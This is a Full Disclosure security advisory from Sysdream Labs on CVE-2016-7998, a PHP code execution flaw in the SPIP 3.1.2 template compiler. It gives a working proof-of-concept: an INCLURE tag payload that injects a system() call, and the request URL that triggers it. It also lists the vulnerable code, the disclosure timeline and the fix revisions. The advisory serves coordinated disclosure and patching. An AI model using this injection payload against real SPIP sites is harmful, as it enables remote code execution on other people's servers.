[FD] CVE-2016-7998: SPIP 3.1.2 Template Compiler/Composer PHP Code Execution

[Sysdream Labs <labs@xxxxxxxxxxxx>]

## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)

### Product Description

SPIP is a publishing system for the Internet, which put importance on 
collaborative working, multilingual environments and ease of use. It is free 
software, distributed under the GNU/GPL licence.

### Vulnerability Description

The SPIP template composer/compiler does not correctly handle SPIP 
"INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user.
This vulnerability can be exploited using the CSRF or the XSS vulnerability 
also found in this advisory.

**Access Vector**: remote

**Security Risk**: critical

**Vulnerability**: CWE-94

**CVSS Base Score**: 9.1 (Critical)

**CVE-ID**: CVE-2016-7998

### Proof of Concept

Store a `.html` file in a random directory with the following content :

    <INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>

Then you can access to the following URL, with the `var_url` paramater pointing 
to the path corresponding to your uploaded file:

    
http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html

The PHP code `system("touch /tmp/exploited");` will be executed after 2 
requests.

This happens because the template file is included (if already compiled) by 
`ecrire/public/composer.php`, line 60 :

    if (!squelette_obsolete($phpfile, $source)) {
      include_once $phpfile;

and because we can "exit" the function generated by the template compiler 
(improper sanitization when generating argumenter_squelette):

    function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), 
$SP = 0) {
      if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
        $doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
      $connect = '';
      $page = (
    '<'.'?php echo recuperer_fond( ' . 
argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', 
array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), 
array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])),
 _request("connect"));
    ?'.'>
    ');
      return analyse_resultat_skel('html_xxxx', $Cache, $page, 
'/tmp/exploit.html');
    }

Therefore, the vulnerability leads to arbitrary PHP code execution.


### Vulnerable code

The vulnerable code is located in the `argumenter_inclure` function 
(`ecrire/public/compiler.php`), line 123.

    if ($var !== 1) {
      $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
        . $val . ($echap ? ") . '" : " ");
    }

### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 27/09/2016 : Fixes issued for PHP Code Execution
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23186
* https://core.spip.net/projects/spip/repository/revisions/23189
* https://core.spip.net/projects/spip/repository/revisions/23192

### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


-- 
SYSDREAM Labs <labs@xxxxxxxxxxxx>

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* Website: https://sysdream.com/
* Twitter: @sysdream

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